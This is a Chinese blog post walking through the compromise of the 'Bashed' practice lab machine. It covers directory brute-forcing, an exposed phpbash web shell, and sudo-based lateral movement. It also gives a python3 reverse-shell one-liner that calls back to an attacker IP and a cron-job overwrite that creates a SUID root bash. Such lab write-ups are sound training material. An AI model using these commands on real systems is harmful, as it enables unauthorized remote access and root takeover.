记一次轻松+愉快的渗透测试——Bashed靶机

  • 27
  • 阅读模式
摘要

这台靶机才是真正的Easy难度!它原本可以让你以爆破的方式get shell的,可它偏偏不这么做,它真的..我哭死。

file

这台靶机的难度是Easy,可以说是名副其实了。

在端口扫描结果里,只有一个80端口的http服务在运行,这就可以使我们把注意力全部放在http的服务上。

页面内容分析

从浏览器中打开网页后内容如下: file

通过网页内容,我们可以排除使用CMS,同时也从内容中可以看到phpbash的相关介绍,所以这就会引起我的猜测:这台靶机上存在phpbash吗?

接下来,我从网页的源码里可以找到一个看起来和网站业务逻辑相关的js:

...
<script type='text/javascript' src='js/main.js'></script>
...

从js文件内容中,我们可以看到有一个ajax的请求:

var params = {
    'action': 'SendMessage',
    'name': jQuery('#name').val(),
    'email': jQuery('#contact-email').val(),
    'subject': jQuery('#subject').val(),
    'message': jQuery('#message').val()
};
jQuery.ajax({
            type: "POST",
            url: "php/sendMail.php",
            data: params,
            success: function (response) {
                if (response) {
                    var responseObj = jQuery.parseJSON(response);
                    if (responseObj.ResponseData)
                    {
                        alert(responseObj.ResponseData);
                    }
                }
            },
...

从上述分析中,我们就可以拿到一个接口:

curl -X POST http://10.10.10.68/php/sendMail.php --data-raw "action=SendMessage&name=1&email=2&subject=3&message=4"

但实际上,这个接口没什么卵用,只是在浪费sei干。

目录爆破

接下来,对其进行目录爆破:

gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/14 11:55:12 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 295]
/.htpasswd            (Status: 403) [Size: 295]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]    
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]   
/server-status        (Status: 403) [Size: 299]                                 
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
===============================================================
2022/09/14 11:55:18 Finished
===============================================================

根据以往惨痛的教训:Shocker靶机带来的启示:目录爆破进阶技巧,我们可以考虑接下来对目录下的文件进行爆破。

但,这台靶机名副其实的Easy原因之二是:Apache服务并没有禁止显示目录索引。

这就会导致我们可以访问http://10.10.10.68/dev/ 时,Apache会列出该目录下所有的文件,如下所示: file

好家伙,这不就直接get shell了?

反弹shell

虽然拿到了shell,但这个shell交互性很差,因此,我们可以继续反弹一个交互性比较好的shell。

我们可以从Reverse Shell Generator中进行各种尝试,最终我使用了python3来反弹shell:

export RHOST="10.10.16.10";export RPORT=5555;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

横向移动

在进一步提权时,我发现www-data用户可以在不需要输入密码的情况下,以scriptmanager身份做任何事情。

$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

那...我以scriptmanager的身份,执行一下/bin/bash不过分吧!!?

sudo -u scriptmanager /bin/bash

至此,就可以成功横向移动到scriptmanager用户了。

提权

经过遍历之后,在根目录下,发现一个不同寻常的文件夹/scripts/,在这个文件夹里存在两个文件test.pytest.txt

scriptmanager@bashed:/scripts$ ls -al
ls -al
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2 07:19 .
drwxr-xr-x 23 root          root          4096 Jun  2 07:25 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Sep 24 06:47 test.txt

test.py脚本内容也很简单,向test.txt文件里写入testing 123!

scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

由此,我们可以推断出,Bashed靶机存在定时任务:以root权限调用test.py。(可以通过pspy工具来证明,但我太懒了,没必要。)

接下来就可以修改test.py的内容,达到提权的效果。

echo 'import os;os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")' > test.py

过一段时间后,执行/tmp/bash -p,提权成功!

匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: